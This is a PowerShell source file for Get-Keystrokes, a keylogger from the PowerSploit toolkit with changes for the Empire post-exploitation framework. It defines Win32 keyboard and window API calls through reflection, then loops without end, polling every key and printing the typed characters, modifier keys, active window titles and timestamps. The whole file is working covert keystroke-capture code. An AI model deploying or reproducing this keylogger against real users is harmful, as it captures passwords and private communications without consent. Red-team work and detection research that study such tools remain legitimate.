function Get-Keystrokes {
<#
.SYNOPSIS

    Logs keys pressed, time and the active window (when changed).
    Some modifications for Empire by @harmj0y.

    PowerSploit Function: Get-Keystrokes
    Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
    Modifications: @harmj0y
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

.LINK
    http://www.obscuresec.com/
    http://www.exploit-monday.com/
#>
    param
    (
        [Parameter(Mandatory = $False)]
        [string]
        $Sleep = 1
    )

    [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

    try
    {
        $ImportDll = [User32]
    }
    catch
    {
        $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
        $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
        $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

        $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
        $FieldArray = [Reflection.FieldInfo[]] @(
            [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
            [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
            [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
            [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
            [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
            [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
        )

        $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
        $FieldValueArray = [Object[]] @(
            'GetAsyncKeyState',
            $True,
            $False,
            $True,
            [Runtime.InteropServices.CallingConvention]::Winapi,
            [Runtime.InteropServices.CharSet]::Auto
        )
        $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
        $PInvokeMethod.SetCustomAttribute($CustomAttribute)

        $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
        $FieldValueArray = [Object[]] @(
            'GetKeyboardState',
            $True,
            $False,
            $True,
            [Runtime.InteropServices.CallingConvention]::Winapi,
            [Runtime.InteropServices.CharSet]::Auto
        )
        $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
        $PInvokeMethod.SetCustomAttribute($CustomAttribute)

        $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
        $FieldValueArray = [Object[]] @(
            'MapVirtualKey',
            $False,
            $False,
            $True,
            [Runtime.InteropServices.CallingConvention]::Winapi,
            [Runtime.InteropServices.CharSet]::Auto
        )
        $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
        $PInvokeMethod.SetCustomAttribute($CustomAttribute)

        $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
            [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
        $FieldValueArray = [Object[]] @(
            'ToUnicode',
            $False,
            $False,
            $True,
            [Runtime.InteropServices.CallingConvention]::Winapi,
            [Runtime.InteropServices.CharSet]::Auto
        )
        $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
        $PInvokeMethod.SetCustomAttribute($CustomAttribute)

        $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
        $FieldValueArray = [Object[]] @(
            'GetForegroundWindow',
            $True,
            $False,
            $True,
            [Runtime.InteropServices.CallingConvention]::Winapi,
            [Runtime.InteropServices.CharSet]::Auto
        )
        $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
        $PInvokeMethod.SetCustomAttribute($CustomAttribute)

        $ImportDll = $TypeBuilder.CreateType()
    }

    $LastWindowTitle = ""

    while ($true) {
        Start-Sleep -Milliseconds $Sleep
        $gotit = ""
        $Outout = ""

        for ($char = 1; $char -le 254; $char++) {
            $vkey = $char
            $gotit = $ImportDll::GetAsyncKeyState($vkey)

            if ($gotit -eq -32767) {

                #check for keys not mapped by virtual keyboard
                $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
                $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
                $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
                $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
                $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
                $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
                $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
                $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
                $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
                $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
                $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
                $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
                $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
                $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
                $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
                $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
                $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

                if ($LeftShift -or $RightShift) {$Outout += '[Shift]'}
                if ($LeftCtrl  -or $RightCtrl)  {$Outout += '[Ctrl]'}
                if ($LeftAlt   -or $RightAlt)   {$Outout += '[Alt]'}
                if ($TabKey)       {$Outout += '[Tab]'}
                if ($SpaceBar)     {$Outout += '[SpaceBar]'}
                if ($DeleteKey)    {$Outout += '[Delete]'}
                if ($EnterKey)     {$Outout += '[Enter]'}
                if ($BackSpaceKey) {$Outout += '[Backspace]'}
                if ($LeftArrow)    {$Outout += '[Left Arrow]'}
                if ($RightArrow)   {$Outout += '[Right Arrow]'}
                if ($UpArrow)      {$Outout += '[Up Arrow]'}
                if ($DownArrow)    {$Outout += '[Down Arrow]'}
                if ($LeftMouse)    {$Outout += '[Left Mouse]'}
                if ($RightMouse)   {$Outout += '[Right Mouse]'}

                #check for capslock
                if ([Console]::CapsLock) {$Outout += '[Caps Lock]'}

                $scancode = $ImportDll::MapVirtualKey($vkey, 0x3)

                $kbstate = New-Object Byte[] 256
                $checkkbstate = $ImportDll::GetKeyboardState($kbstate)

                $mychar = New-Object -TypeName "System.Text.StringBuilder";
                $unicode_res = $ImportDll::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

                if ($unicode_res -gt 0) {
                    #get the title of the foreground window
                    $TopWindow = $ImportDll::GetForegroundWindow()

                    if ($TopWindow -ne $LastTopWindow){
                        $LastTopWindow = $TopWindow
                        $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

                        # if the window has changed
                        $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
                        $Outout = "`n`n$WindowTitle - $TimeStamp`n"
                        $LastWindowTitle = $WindowTitle
                    }
                    $Outout += $mychar.ToString()
                    $Outout
                }
            }
        }
    }
}
